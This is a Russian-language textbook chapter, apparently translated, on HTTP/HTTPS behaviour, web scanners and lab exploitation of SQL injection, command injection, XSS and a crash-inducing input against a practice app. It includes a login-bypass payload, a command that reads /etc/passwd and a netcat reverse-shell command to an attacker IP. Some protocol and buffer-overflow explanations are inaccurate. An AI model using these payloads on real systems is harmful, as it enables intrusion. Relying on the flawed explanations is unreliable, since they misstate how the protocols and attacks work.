Глава 14. Безопасность веб служб и служб электронной почты

В своей предыдущей главе мы изучили очень важный сетевой протокол, протокол DNS. Мы поглубже заглянули в его архитектуру, как он работает, различные лазейки и неверные настройки, а также как злоумышленник может пользоваться этими лазейками для эксплуатации и компрометации важных активов любой организации. Теперь, в данной главе, мы рассмотрим более совершенные атаки против некоторых очень важных средств всякой организации: веб приложений, служб электронной почты и серверов.

Веб приложения и службы электронной почты являются наиболее важными компонентами всякой организации, поскольку всякий злоумышленник, в первую очередь, будет атаковать лишь веб приложения и попытается скомпрометировать имеющиеся внутренние машины отправляя фишиногвые электронные сообщения, либо эксплуатируя различные неверные настройки шлюза электронной почты, например, ретрансляции. Мы рассмотрим эти атаки на практике в самой последней части данной главы.

Эта глава начинается с глубокого пояснения поведения и анализа веб протоколов, лазеек в веб и шлюз электронной почты, а также мер противодействия и защиты от подобных атак.

В этой главе мы рассмотрим следующие основные вопросы:

  • Поведение протокола HTTP и HTTP2, их структуру данных и анализ

  • Поведение протокола HTTPS, его структуру данных и анализ

  • Средства взлома TTP - сканеры, средства проверки уязвимостей и прочее

  • Уязвимости веб и их эксплуатация

  • Протоколы электронной почты и лазейки в них

  • Противодействие и защита

HTTP и HTTP2 - поведение протокола, структура данных и анализ

В этом разделе мы обсудим различные веб протоколы, такие как HTTP и HTTP2, в чём разница между HTTP и HTTP2, их архитектуру, а также их разнообразные функциональные возможности и проблемы безопасности в обоих протоколах.

Поведение, структура данных и анализ HTTP

HTTP, или HyperText Transfer Protocol (протокол пересылки гипертекста), применяется для обмена данными между клиентом и сервером в виде документов HTML (HyperText Markup language, языка разметки гипертекста). Такие документы содержат изображения, тексты, видео- файлы и флеш- файлы. HTTP работает поверх всех имеющихся сетевых уровней и известен в качестве Уровня приложения, а также применяется для передачи всех данных между взаимодействующими сетевыми устройствами.

HTTP был предложен давно в конце 1980-х и в начале 1990-х годов, однако, после видоизменений, его окончательная версия HTTP/1.1 была представлена в 1997 году, которая до сих поря является стандартом версии протокола HTTP. Чтобы больше узнать об истории и разработках HTTP, существует интересный блог, написанный командой Mozilla, пожалуйста, перейдите по этой ссылке.

Типичная архитектура протокола клиент- сервер HTTP отображена на следующей схеме:

 

Рисунок 14.1


Взаимодействие HTTP

На Рисунке 14.1 изображена такая архитектура клиент- сервер совместно с различными компонентами:

  1. Клиент отправляет запрос ресурса от своего веб сервера в виде документа гипертекста, также именуемого веб страницей. Такой веб содержит множество ресурсов, например, изображения, текст, видео, флэш, CSS и JavaScript.

  2. В качества агента пользователя в данном случае действует браузер и он отправляет необходимый запрос в Интернет.

  3. Теперь, в Интернете, имеется большое число прозрачных и не прозрачных устройств представления, носящих название серверов посредников (прокси). Основная задача таких серверов посредников состоит в фильтрации данных запросов, их направления во множество серверов, выборку необходимых ресурсов и затем их отправки обратно своему клиенту.

  4. После того как веб сервер получает представленный с другой стороны канала запрос, он осуществляет синтаксический разбор данного запроса ко множеству прочих подключённых серверов или баз данных для выборки необходимых данных и затем синтаксически собирает их обратно взаимодействующим с ним прокси серверам.

Мы ввели термин сервера посредника (прокси); давайте изучим его.

Серверы прокси

Серверы посредника (прокси) определяются как один из ключевых компонентов в обработке большого числа функций и он представлен между клиентом и веб серверами. Такие серверы посредников могут быть одним компьютером или множеством компьютеров и машин, которые ретранслируют сообщения HTTP с одной стороны в другую. Перечислим различные функции, осуществляемые такими посредниками:

  • Регистрация в журналах - хранение прошлых сведений

  • Фильтрация - действует как некий антивирус или, в ряде ситуаций, производит также и родительский контроль.

  • Аутентификация - проверяет аутентичность и контролирует доступ к различным ресурсам.

  • Кэширование - хранит кэш и историю браузера.

  • Балансировка нагрузки - передаёт запросы множеству серверов для обслуживания различных запросов.

Теперь, когда мы ознакомились с архитектурой клиент- сервер HTTP, давайте взглянем на то из чего составляется запрос HTTP.

Формирование запроса HTTP

Всякий передаваемый через Интернет запрос HTTP содержащий огромный блок кодированных сведений, которые обычно включают следующее:

  • Методы HTTP - это указывает на то как соответствующий веб сервер действует с заявленным запросом. Вот некоторые из методов HTTP: GET, POST, TRACE, HEAD, PUT, DELETE и OPTIONS.

  • Версия HTTP - HTTP/1.0, HTTP/1.1 или HTTP/2.

  • Заголовок HTTP - содержит большое число параметров, например, user-agent (агент пользователя), host (хост) и content-type (тип содержимого).

  • Тело HTTP - содержит собственно сведения, которые представляются данным сервером.

Давайте разберёмся со всем этим запросом HTTP в реальном масштабе времени:

  1. Откройте необходимый URL (http://example.com), как это показано на следующем снимке экрана:

     

    Рисунок 14.2


    example.com

    Как показано на Рисунке 14.2, наш вебсайт вызывается и загружается в браузер. Однако что происходит на стороне его серверной основы неизвестно. Итак, давайте разберёмся с этим и проанализируем.

    [Замечание]Замечание

    На данный момент, для анализа данного рукопожатия запрос- отклик HTTP, нам потребуется средство перехвата для отлова этих запроса и ответа. Данную задачу можно решить при помощи целого ряда инструментов, например, OWASP ZAP и Burp Suite. Для данного курса мы воспользуемся Burp Suite.

  2. Перехватите отправленный запрос при помощи Burp Suite, отправьте его в функциональную возможность Repeater и переправьте данный запрос, как это отражено на идущем ниже снимке экрана:

     

    Рисунок 14.3


    Перехваченные запрос- отклик HTTP

Давайте проанализируем отображаемые Рисунком 14.3 перехваченные запрос и отклик HTTP в приводимой далее таблице:

Таблица 14-1. Анализ запроса и отклика HTTP
Параметры HTTP Запрос Отклик

Метод HTTP

GET

200 OK

Версия HTTP

HTTP/1.1

HTTP/1.1

Заголовок HTTP

Со строки №1 по строку №11 представлен весь заголовок запроса

Со строки №1 по строку №13 представлен весь заголовок отклика

Версия HTTP

 

Со строки №16 до самого конца представлено всё тело отклика

Сейчас, наша предыдущая таблица имеет представленным новое значение, 200 OK. Это некий код отклика HTTP. Итак, давайте взглянем на некоторые прочие коды отклика HTTP и разберёмся с ними:

  • Коды отклика HTTP это код из трёх цифр, который указывает был ли запрос HTTP успешно принят или нет. Этот отклик HTTP или код состояния подразделяется на пять категорий:

    • 1xx: Этот код состояния предоставляет значения информационных откликов, например, 102 - в процессе или в обработке.

    • 2xx: Данный код состояния снабжает успешными откликами, скажем, 200 - всё в порядке при успешном приёме данного метода HTTP.

    • 3xx: Здесь код состояния отражает отклики перенаправления, такие как 301 - перемещён на постоянной основе.

    • 4xx: Такой код состояния производит отклики ошибки клиента, например, 404 - не найден.

    • 5xx: В данном случае код состояния выдаёт отклики ошибок сервера, такие как 501 - не реализовано.

    Для получения дополнительных сведений относительно кодов состояния, пожалуйста, обратитесь по следующей ссылке.

  • Методы HTTP: Методы HTTP это набор методов запросов, которые указывают значение типа запроса для представления на стороне сервера. Ниже приводятся некоторые методы HTTP, которые важны для рассматриваемых в данной главе вопросов:

    • GET: Этот запрос представляется для выборки данных только.

    • POST: Получаемые сведения подставляются через соответствующее тело.

    • PUT: Для выгрузки определённого набора сведений в сам веб сервер.

    • DELETE: Чтобы удалить определённый набор сведений в запрашиваемом веб сервере.

    • OPTIONS: Для отображения всех принимаемых данным сервером методов HTTP.

      Для получения полного перечня методов HTTP, пожалуйста, обратитесь по следующей ссылке.

Версии HTTP

Несколько десятилетий назад можно было обнаружить, что HTTP/1.1 является одной из наиболее известных технологий взаимодействия с веб- страницами. Однако со временем технологии развивались, а веб- страницы превращались в очень сложные, посредством добавления сценариев автоматизации, флэш- файлов, изображений, видео, GIF- файлов и тому подобного. Это подразумевало передачу гигантского объёма данных по каналу HTTP, что увеличивало сложность и накладные расходы HTTP/1.1 .

Таким образом, в начале 2010-х, Google появилась с неким решением вводя новый протокол, SPDY (произносится как Speedy). Основная цель этого протокола состояла в решении главной проблемы дублирования передаваемых данных, сокращение значения времени отклика сервера за счёт обработки интенсивных нагрузок обмена и RTT (Round-Trip Time, времени прохода в обе стороны). Тем самым, развитие данного протокола установило точку отсчёта эволюции HTTP/2.

Итак, давайте поймём чем HTTP/2 отличается от HTTP/1.1:

  • HTTP/2 известен как протокол двоичного представления, а не изначальный протокол на основе текста, который при передаче данных использует меньшую полосу пропускания.

  • HTTP/2 очень эффективно управляет функциональными возможностями веб страниц, такими как пробелы, заглавные буквы и окончания строк.

  • HTTP/2 это протокол с мультиплексированием, что означает, что он способен обрабатывать несколько параллельных ресурсов, которые запрашивают несколько медиа- ресурсов и доставлять их в одном TCP- соединении. Это также решает имеющуюся проблему блокировки заголовка строки.

  • HTTP/2 рассматривается как протокол безопасной передачи данных, ибо HTTP/2 может быть реализован только когда его соединение безопасно.

  • HTTP/2 пользуется алгоритмом сжатия для уменьшения сложности заголовка HTTP, что уменьшает нагрузку на передачу данных по каналу TCP.

  • HTTP/2применяет механизм кэширования сервером, при помощи чего сервер будет хранить данные в виде кэша на стороне своего клиента. Таким образом, всякий раз, когда выполняется несколько запросов на выгрузку ресурсов со стороны сервера, может выполняться заполнение сохранённым кэшем для уменьшения нагрузки на стороне самого сервера.

Это основные представленные в протоколе HTTP/2 реализации решения проблемы интенсивной нагрузки обмена серверов и медленной передачи через не быстрые подключения TCP. Чтобы узнать больше об HTTP/2, пожалуйстаЮ перейдите по этой ссылке.

Теперь мы изучили HTTP, а также разобрались с тем как вовлекается HTTP/2 и чем он отличается от HTTP/1.1 и давайте двинемся далее к иному классу HTTP - HTTPS.

HTTPS - поведение протокола, структура данных и анализ

Теперь, основная проблема с самим протоколом HTTP состоит в том, что передача его данных совершенно не шифруется, что подразумевает, что злоумышленник может красть, изменять или просматривать проходящий между клиентом и его сервером обмен. Для перехвата доступно большое число средств, например, Wireshark, Fiddler, HTTPView и Network Analyzer. Тем не менее, для наилучшего представления, Wireshark наиболее подходящий и дружественный для применения, а потому мы также воспользуемся им для собственных тестов. Давайте продемонстрируем слабости HTTP при помощи Wireshark:

 

Рисунок 14.4


Подслушанный запрос HTTP

Как показано на Рисунке 14.4, Wireshark перехватил не зашифрованный запрос на регистрацию переданный через канал HTTP без безопасности.

Для предотвращения этого был добавлен другой уровень безопасности путём введения TLS (Transport Layer Security), ранее носившего название SSL (Secure Socket Layer). Теперь давайте поймём это на практической демонстрации:

 

Рисунок 14.5


Включённый SSL/TLS

На данный момент, как это отражено на Рисунке 14.5, включена TLS и немедленно значение URL изменилось с HTTP на HTTPS. Далее давайте проанализируем собственно шаблон запроса и отклика, что видно на рисунке ниже:

 

Рисунок 14.6


Перехваченный запрос на регистрацию TLS

Как мы наблюдаем на Рисунке 14.6, все отображаемые запросы и отклики передаются через зашифрованный канал HTTPS, реализованный поверх TLSv1.2. Однако что именно происходит на серверной стороне? Как эти данные становятся зашифрованными? Как осуществляется необходимое рукопожатие? Давайте разберёмся с этим шаг за шагом.

Что такое HTTPS?

HTTPS это зашифрованный вид протокола HTTP, который запрещает веб- сайтам передавать данные в не зашифрованном формате. Таким образом, он шифрует данные от их просмотра, кражи или изменения через подслушивание, в особенности в общедоступных сетевых средах, таких как открытые и бесплатные Wi-Fi в Старбаксах и аэропортах. Это работает примерно так:

 

Рисунок 14.7


Формирование HTTPS

HTTPS содержит сертификат безопасности, имеющий название сертификата SSL или TLS, который указывает, что вебсайт настоящий и безопасный для посещения. Этот сертификат предоставляет дополнительный уровень безопасности через шифрование чувствительных и конфиденциальных данных, таких как номера кредитных/ дебетовых карт, паролей, PIN кодов и OTP. Сертификаты TLS шифруют взаимодействие при помощи инфраструктуры с общедоступным- частным ключами, которые применяют два следующих различных типа ключей для шифрования и дешифрации соответствующего взаимодействия между клиентом и сервером:

  • Общедоступный ключ (Public key): Общедоступный ключ доступен кому угодно, кто хотел бы взаимодействовать с данным сервером. Это ключ применяется для шифрования данных на стороне клиента.

  • Частный ключ (Private key): Частный ключ располагается на сервере или, в наши дни, в балансировщиках нагрузки в процессе разгрузки SSL/ TLS. Данный ключ применяется для дешифрации зашифрованных общедоступным ключом данных.

Таким образом, раз на данный момент мы разобрались с основами формирования HTTPS, давайте поймём как происходит обмен сертификатами между клиентом и сервером. Это отображает приводимый ниже снимок экрана:

 

Рисунок 14.8


Рукопожатие HTTPS

Как мы видим из Рисунка 14.8, далее имеется последовательность запросов и откликов договаривающихся между клиентом и сервером о безопасном взаимодействии, однако мы сосредоточимся лишь на обмене безопасными пакетами сообщений сертификатов:

  • Сообщение hello клиента: Этот пакет сообщения содержит все сведения относительно того клиента, который запрашивает данный сервер на подключение обратно к этому клиенту, причём совместно с необходимыми сведениями относительно комплекта шифра и значения максимальной версии TLS (например, TLS/1.1 или TLS/1.2), который поддерживает браузер данного клиента.

  • Сообщение hello сервера: После получения пакета сообщения hello клиента, этот сервер отправляет ACK (Acknowledgement, подтверждение приёма), применяемое для согласия с комплектом безопасного шифрования и также отправляет свой общедоступный ключ клиенту для шифрования его данных.

    После получения такого общедоступного ключа, наш клиент сначала проверит сам ключ и его сертификат в перечне соответственного CA (Certification Authorities, Центра сертификации). Когда этот общедоступный ключ проверен, данный клиент сохранит значение общедоступного ключа и будет применять его для шифрования своих данных.

  • Обмен ключом клиента: Са клиент после проверки полученного ключа отправляет сообщение ChangeCipherSpec для согласие на совместное применение ключа. Наш сервер расшифрует данное сообщение и проверит корректна ли вся предоставленная на более ранних этапах информация. Это проверка на целостность самого клиента. После того как сервер удостоверится, он отправляет обратно сообщение Fin (Finish) ChangeCipherSpec для начала переговоров.

Вот, теперь мы разобрались с рукопожатием HTTPS и давайте продемонстрируем на практическом примере применение Wireshark для обмена взаимодействием от браузера клиента и сервера Google, как это показано на следующем снимке экрана:

 

Рисунок 14.9


TLS рукопожатие клиент- сервер

Итак, как мы наблюдаем на Рисунке 14.9, после обмена всеми такими сообщениями и достижения согласия по применяемой версии протокола и ChangeCipherSpec, обмен по каналу HTTPS производится зашифрованными данными. На данном этапе мы ожидаем что вы открываете все сообщения в Wireshark и глубоко просматриваете эти пакеты для анализа.

Теперь, когда мы глубоко ознакомились с поведением протокола TLS и практическим анализом, давайте построим свою лабораторию тестирования проникновения для применения уязвимостей веб среды.

Инструменты взлома TTP - сканеры, средства проверки уязвимостей и прочее

TTP это сокращение для (Tactics, Techniques, and Procedures, тактик, методы и процедур), которые анализируют поведение цели, готовят план выявления уязвимостей и лазеек в неком приложении и выработки безопасности от таких атак.

Существует целый ряд средств и сценариев, которые доступны для осуществления проверок на уязвимости. За некоторые из этих инструментов вам придётся платить, но их бо́льшая часть доступна бесплатно. Платные средства обладают некоторыми функциональными возможностями, которые доступны для бесплатного применения. Давайте посмотрим на некоторые из этих средств:

  • Kali Linux: Kali Linux это операционная система с открытым исходным кодом, которая основывается на архитектуре Debian и содержит различные средства для выполнения тестирования проникновения, сканирования уязвимостей, вычислительного расследования, анализа вредоносного программного обеспечения (ПО) и тому подобного. Kali Linux это существенный инструментарий для большинства тестирующих проникновение или исследователей безопасности. По следующей ссылке вы можете бесплатно выгрузить Kali Linux.

  • Burp Suite: Это инструмент в основном применяется в качестве средства проверки веб приложений, мобильных приложений, полноправных рабочих мест клиентов, тонких клиентов, API (Application Programming Interfaces, интерфейсов прикладных приложений) и тому подобного, поскольку он предоставляет дружественное пользователю средство внедрения через запросы с GUI (Graphical User Interface, графическим интерфейсом). По следующей ссылке вы можете выгрузить версию сообщества Burp Suite. Тем не менее, мы рекомендуем вам приобрести профессиональную версию Burp Suite.

  • Acunetix: Этот инструмент представляет собой полностью автоматизированное веб приложение сканирования уязвимостей, которое сосредотачивается на основных уязвимостях, таких как XSS (Cross-Site Scripting, межсайтовых сценариев), SQL injection, CORS (Cross-Origin Resource Sharing, перекрёстного совместного владения ресурсами) и прочих уязвимостей, также относящихся и к OWASP. Данное средство поставляется с корпоративной лицензией, однако вы имеете возможность выгрузить пробную версию для сканирования приложений со следующей ссылки.

  • OWASP ZAP: Данное средство это один из наиболее любимых инструментов среди тестирующих уязвимости среди всех сканеров уязвимостей, поскольку оно точно при сканировании уязвимостей и избавлено от фальшивых положительных решений. Данный инструмент может выгружаться бесплатно по следующей ссылке

  • Netsparker: Представляет собой дружественный пользователю автоматизированный сканер уязвимостей, известный своей точностью и обоснованностью результатов сканирования. Netsparker не предоставляет никакой редакции сообщества и поставляется исключительно в своей корпоративной редакции.

  • Qualys Guard: Это также очень популярное средство на основе облачного решения, причём доступное только в корпоративной редакции.

  • TestSSL: Это доступный для Windows сценарий Bash, помимо всего прочего, выполняющий сканирование веб сервера на уязвимости SSL/ TLS, слабое шифрование, сертификаты SSL и тому подобное. Данный инструмент доступен для бесплатной выгрузки по такой ссылке.

  • DVWA: Damn Vulnerable Web Application: Представляет собой платформу тестирования проникновения с открытым исходным кодом, доступную проводящим тестирование на проникновение для изучения навыков веб эксплуатации. Данная платформа доступна для бесплатной выгрузки по следующей ссылке.

  • Mutillidae: Аналогична DVWA, но обладает более совершенными шаблонами атак для практики. Эта платформа доступна для бесплатной выгрузки по такой ссылке.

  • Nikto: Это очень мощный инструмент командной строки, доступный в Kali Linux, а также в прочих дистрибутивах Linux, для изучения открытых каталогов CGI, опасных уязвимостей и тому подобного. Этот инструмент поступает уже установленным в Kali Linux.

  • SQLmap: Являет собой наиболее важное и широко применяемое средство автоматического сканирования внедрений SQL и их эксплуатации для выделения сведений баз данных. Данный инструмент настолько знаменит, что Burp Suit выпускает для него подключаемый модуль. Это средство доступно для бесплатной выгрузки по этой ссылке.

Как вы видите, в Интернете доступно множество средств и нам было бы трудно продемонстрировать каждый инструмент. Поэтому, на протяжении данной главы мы будем пользоваться теми инструментами и сканерами, которые важны и обязаны иметься в вашем саквояже инструментария.

Итак, давайте возьмём в качестве примера для изучения важных функциональных возможностей и демонстрации сканирования уязвимостей Burp Suite, в то время как мы приступим к сканированию на проникновение на платформе Mutillidae. Однако будьте свободны также воспользоваться и прочими доступными в Интернете сценариями и сканерами:

 

Рисунок 14.10


Экран перехвата Burp Suite

Как показано на Рисунке 14.10, давайте разберёмся со всеми разделами экрана вмешательства Burp Suite, а именно:

  • Цель (Target): Этот раздел используется для задания той цели, которая находится в области стороны слева.

  • Проблемы (Issues): Данный раздел представляет те уязвимости, которые выявлены при пассивном и активном сканировании.

  • Справочные сведения (Advisory): В разделе здесь обозначаются сведения об уязвимостях и процессах их исправления.

  • Содержимое (Contents): Раздел изображает URL (Unified Resource Locators) и страницу кода JavaScript/HTML/CSS.

  • Запрос и отклик (Request and Response): Здесь представлены собственно HTTP/HTTPS запроса и отклика.

Итак, чтобы начать сканирование уязвимостей, нам потребуется придерживаться следующих шагов:

  1. Перехватите запрос цели (страницу регистрации), как это отображено на снимке экрана далее:

     

    Рисунок 14.11


    Посредник перехвата Burp Suite

    Теперь, когда мы перехватили запрос к цели, давайте осуществим сканирование на уязвимости.

  2. Для выполнения сканирования уязвимостей, кликните правой кнопкой по перехваченному запросу и кликните Do active scan (выполнить активное сканирование), как показано на снимке экрана ниже:

     

    Рисунок 14.12


    Активное сканирование цели

    Теперь, как мы видим из Рисунка 14.12, было выбрано и запущено активное сканирование в целевом запросе на регистрацию.

  3. Приводимый следом снимок экрана показывает выявленные уязвимости, которые идентифицированы нашим сканером уязвимостей Burp Suite:

     

    Рисунок 14.13


    Выявленные проблемы

Как мы наблюдаем на Рисунке 14.13, было выявлено большое число уязвимостей и все они подпадают в категорию топ 10 уязвимостей OWASP (Open Web Application Security Project). Несколько этих уязвимостей мы обсудим в своём следующем разделе, однако мы ожидаем, что при помощи Mutillidae вы изучите и попрактикуетесь со всеми этими уязвимостями. Чтобы изучить полный список категорий OWASP, пожалуйста, проследуйте по следующей ссылке.

Далее, в Burp Suite существуют и прочие функциональные возможности и было бы крайне затруднительно пройтись по всем этим возможностям, поэтому мы ожидаем что вы возьмёте паузу и прочтёте о прочих функциональных возможностях Burp Suite по следующей ссылке.

ВАналогично Burp Suite имеются доступными для бесплатного применения и прочие сканеры уязвимостей; не стесняйте себя и изучите их по возможности. На протяжении данной главы мы в большинстве ситуаций будем пользоваться Burp Suite. Теперь давайте проследуем к следующему разделу по эксплуатации некоторых из замеченных уязвимостей.

Уязвимости и эксплуатаций веб- ресурсов

В своём предыдущем разделе мы изучили как мы можем осуществлять сканирование веб уязвимостей; давайте теперь займёмся конкретно тем как мы пользуемся распространёнными уязвимостью и компрометируем веб серверы, веб приложения , базы данных, сеансы пользователей и тому подобное.

Инъекция SQL

Инъекция SQL это распространённая и важная уязвимость веб среды, которая делает возможным для злоумышленника взаимодействовать с базой данных в серверной основе посредством запросов SQL. Такие запросы применяются для выборки данных в виде строк и столбцов.

Следовательно, давайте продемонстрируем как мы можем скомпрометировать страницу регистрации через инъекций SQL:

  1. В полях Name и Password страницы регистрации введите запрос 1'or'1'='1 как это показано на следующем снимке экрана:

     

    Рисунок 14.14


    Инъекция SQL запроса на регистрацию

    Далее, как это отражено на Рисунке 14.14 этот запрос на регистрацию вводится в поля имени пользователя и пароль.

  2. Идущий далее снимок экрана показывает что наша страница регистрации задействована и наш злоумышленник получил возможность зарегистрироваться в этом веб приложении:

     

    Рисунок 14.15


    Страница регистрации эксплуатирует выбранные данные

Сейчас, как это видно из Рисунка 14.15, принят наш запрос инъекции и наш злоумышленник способен выполнять выборку необходимых данных. Однако как это произошло? Что вызвало применение запроса на регистрацию данным запросом к регистрации в данном веб приложении?

Итак, прежде чем мы перескочим к подробностям разбора логики эксплуатации, давайте сначала поймём как работает регистрация.

Всякий раз когда пользователь вводит имя пользователя и пароль, этот запрос представляется на стороне сервера и проверяет эти имя пользователя и пароль (в формате хэша) на наличие в базе данных. Когда учётные данные верны, данный пользователь будет зарегистрирован, а если его учётные сведения не правильные, его веб приложение возбудит логическую ошибку. В самом сервере это выглядит так:


SELECT username, password from USERS where username = '<username>' and password = '<password>';
 	   

Давайте теперь вставим своё внедрение в наш предыдущий запрос:


SELECT username, password from USERS where username = '1'or'1'='1' and password = '1'or'1'='1';
 	   

Теперь давайте повнимательнее взглянем на свой предыдущий запрос, его поле имени пользователя, 1, сбалансировано со второй цитатой, а этот второй запрос представляет '1'='1, что означает, что если выражение username = 1 не верно, тогда необходимо проверять что '1'='1 это TRUE, что истинно всегда. Тем самым, это подразумевает, что данная проверка на стороне сервера не выполняет подтверждение должным образом, а, следовательно, злоумышленник получил возможность входа в систему и выборки данных из этой базы данных.

Более того, существуют различные типы внедрений SQL, например, основанные на ошибке (error-based), двойного запроса (double query), слепого SQL на основе времени (blind SQL time-based), а также основанного на Булевом равенстве (Boolean=based). Не посчитайте за труд пройтись по каждому из внедрений SQL по данной ссылке и попрактиковаться на доступной бесплатно платформе, скажем, на Mutillidae.

На данный момент мы ознакомились с инъекцией SQL и давайте взглянем на прочие типы важных атак инъекцией.

Удалённое выполнение кода

RCE (сокращение от Remote Code Execution, удалённое выполнение кода), это одна из наиболее опасных уязвимостей во все времена, потому как она позволяет злоумышленнику исполнять команды удалённой системы. Воздействие данной атаки настолько драматично, что злоумышленник может получать полный контроль над машинами через исполнение вредоносного ПО для эксфильтрации конфиденциальных сведений и, посредством выполнения горизонтального смещения, компрометации прочих машин и всего домена. Давайте разберёмся с этим на простой демонстрации:

  1. Имеется доступной простая страница для выдачи эхо сообщения. Давайте введём свою проверку ключевого слова чтобы понять поведение данного приложения:

     

    Рисунок 14.16


    Возвращаемая через эхо в тест проверка сообщения

    Как показано на Рисунке 14.16, данное сообщение проверяет выдачу эхо обратно на наш экран. Давайте запустим системные команды.

  2. Введите команду test; cat /etc/passwd для выделения содержимого файла passwd:

     

    Рисунок 14.17


    Отображаемые для нашего теста результаты; файл cat /etc/passwd

    Как видно из Рисунка 14.17, отображается содержимое файла passwd. Давайте двинемся ещё на шаг в компрометации данной машины.

  3. В поле своего сообщения запустим test; nc 192.168.64.130 9191 -e /bin/bash и откроем через netcat туннель TCP. Идущий далее снимок экрана показывает, что наш злоумышленник способен осуществлять над этой машиной контроль:

     

    Рисунок 14.18


    Исполненная обратная оболочка

Как видно из Рисунка 14.18, злоумышленник получает возможность контроля над удалённой машиной. Таким образом, теперь мы разобрались с некоторыми атаками веб приложений на основе внедрений и давайте бросим взгляд на основанные на сценариях атаки, которые применяются для компрометации как веб приложения, так и пользователей.

Сценарии множества сайтов (XSS)

XSS это атака стороны клиента, при которой злоумышленник внедряет вредоносные сценарии в обладающий доверием код веб приложения и привязывает его к вредоносной ссылке. Когда наша жертва посещает такое веб приложение или кликает по подобной ссылке, и, если не выполнена должным образом санитарная обработка такого веб приложения, в системе этой жертвы начинает выполняться вредоносный код.

Атака XSS обычно происходит когда имеется некое отображаемое на экране сообщение. Например, когда имеется блок сообщения поиска, а пользователь набирает Test, получаемый результат для данного ключевого слова будет отображён обратно на экране, однако если вы присмотритесь повнимательнее, вы обнаружите, что это ключевое слово Test продолжит храниться в самом исходном коде данного приложение, что отображает следующий снимок экрана:

 

Рисунок 14.19


Сохранённая в исходном коде веб приложений клавиатура проверки

Теперь, как мы наблюдаем на Рисунке 14.19, что если злоумышленник заменит значение этого ключевого слова неким вредоносным сценарием? Давайте разберёмся с этим при помощи классификации XSS:

Имеются три типа атак XSS:

  • Отражённая XSS: Этот тип атак возникает, когда злоумышленник внедряет в веб приложение вредоносный код. Его сервер отвечает на такой запрос злоумышленника всплывающим сообщением в конце браузера на стороне самого клиента. Давайте покажем это на примере.

    Введите вредоносный сценарий <script>alert("XSS");</script> и кликните по кнопке данного сообщения. Немедленно на стороне самого клиента в конце браузера всплывёт сообщение, как это видно на следующем снимке экрана:

     

    Рисунок 14.20


    Отражённый XSS

    Как мы наблюдаем на Рисунке 14.20, на нашем экране было отображено сообщение XSS. Теперь давайте разберёмся с другим типом XSS, который очень опасен и может вызывать при исполнении гигантские разрушения.

  • Сохранённый XSS: Данный вид XSS происходит когда злоумышленник внедряет и сохраняет вредоносные сценарии в некой базе данных, а затем его жертва посещает такую страницу и кликает по данной ссылке.

    К примеру, допустим, имеется некое поле имени пользователя и нет никакой надлежащей проверки или санитарной обработки в этом месте на стороне нашего веб приложения. Злоумышленник мог бы внедрить свой вредоносный код, а как только его жертва посетит данную страницу для обновления какого- то значения и кликнет на обновление или по открытой кнопке, немедленно будет выполнен вредоносный сценарий в системе самой жертвы. Доказана опасность такого типа XSS, поскольку он зачастую остаётся скрытым в имеющемся поле формы. Давайте поймём это на демонстрации:

    1. В нашем веб приложении имеется запись блога и всякий пользователь имеет возможность обновления данного блога, как это отражено на снимке ниже:

       

      Рисунок 14.21


      Запись блога

      Как видно из Рисунка 14.21, в строке номер 2 имеется некая скрытая запись.

    2. Теперь добавим другой вредоносный сценарий. После того как наша жертва выполнит посещение и кликнет по кнопке Save Blog Entry, будет исполнен наш вредоносный сценарий XSS как это видно на следующем снимке экрана:

       

      Рисунок 14.22


      Демонстрация сохранённого XSS

      Как показано на Рисунке 14.22, после того как любой пользователь посетил эту страницу и попытался обновить данные поля, на машине данного клиента будет исполнен скрытый вредоносный код. Наконец, имеется иной тип XSS, носящий название XSS DOM (Document Object Model, объектной модели документов).

  • DOM XSS: Атаки этого типа происходят только на стороне браузера клиента, в отличии от сохранённых или отражённых XSS, при которых соответствующий отклик получается со стороны сервера. Для использования такого типа XSS злоумышленник внедряет вредоносный сценарий непосредственно в объект самого документа и вручную заносит вредоносную URL для её передаче жертве. Итак, давайте покажем это на простом примере:

    1. Показанный ниже снимок экрана отображает, что значение Key хранится в данной странице и отображается:

       

      Рисунок 14.23


      DOM сохраняет значение Key

      Как мы видим из Рисунка 14.23, значение Key=test сохранено и отображается на нашем экране. Давайте заглянем в имеющийся код JavaScript и разберёмся со стоящей за данным сохранённым DOM логикой.

    2. Приводимый далее снимок экрана отображает значение параметра pMessage, хранящего своё значение в нашем коде HTML:

       

      Рисунок 14.24


      Код JavaScript с уязвимостью

      Как видно из Рисунка 14.24, этот параметр pMessage, хранящий сохранённым своё значение в span Message соответствующего innerHTML, а innerHTML не выполняет санитарную очистку хранимого, и, следовательно, это уязвимость для XSS DOM.

    3. Показанный далее снимок экрана показывает что наш вредоносный сценарий XSS выполняется:

       

      Рисунок 14.25


      Исполняемый в конце просмотра злонамеренный сценарий XSS

Как показано на Рисунке 14.25, имеются различные типы сценариев XSS, которые внедряются в вебстраницы помимо тегов <script>. В Интернете существует доступными великое множество сценариев XSS для обхода разнообразных фильтров кода или WAF (Web Application Firewalls, межсетевых экранов веб приложений). Не примените воспользоваться также и этими сценариями.

Таким образом, когда мы теперь разобрались с XSS, давайте теперь рассмотрим занимательные атаки, которые не столь распространены для веб приложений, но составляют важный элемент в перечне тестирования на проникновение.

Переполнение буфера

Под буфером понимается временное хранилище, которое удерживает данные пока они не будут высвобождены от хранения и переданы в иное место. И вот, когда злоумышленник может контролировать такое буферное пространство, он запросто способен внедрять вредоносный код для выполнения произвольных внедрённых команд или обрушения серверной основы.

Переполнение буфера известно как весьма опасная уязвимость, ибо оно способно обрушивать всю серверную инфраструктуру. Тем самым, в промышленных средах реального времени проверяющие на проникновение уничтожают атаки переполнения буфера.

Данная уязвимость, как правило, происходит в приложениях, Однако и для веб приложений могут также рассматриваться некоторые образцы. Скажем, в поле имени пользователя допустимы лишь шесть символов, злоумышленник может внедрить гигантское число символов, что приведёт к крушению такой веб системы.

Давайте разберёмся с этим при помощи некого примера:

  1. На приводимом ниже снимке экрана показано, что веб страница принимает строку и запрашивает у пользователя ввод некого числа для отображения всей строки на своём экране:

     

    Рисунок 14.26


    Отображаемые на экране 10 раз строки

    Как отражено на Рисунке 14.26, 10 раз отображается строка this is buffer overflow test (это проверка переполнения буфера). Далее, когда мы вводим гигантское число, допустим, 10 000 000 раз, наш исполняющий сервер не будет способен обработать такой большой объём данных, а, следовательно, испытает крушение, если не осуществляет надлежащим образом проверку входных данных и санитарную проверку.

  2. Наш следующий снимок экрана показывает что размещающий это веб приложение веб сервер обрушился и злоумышленник не способен получить доступ к данному вебсайту:

     

    Рисунок 14.27


    Рухнувший вебсервер

Как мы наблюдаем на Рисунке 14.27, данный сервер не способен обработать столь большое число запросов, тем самым испытывая крушение.

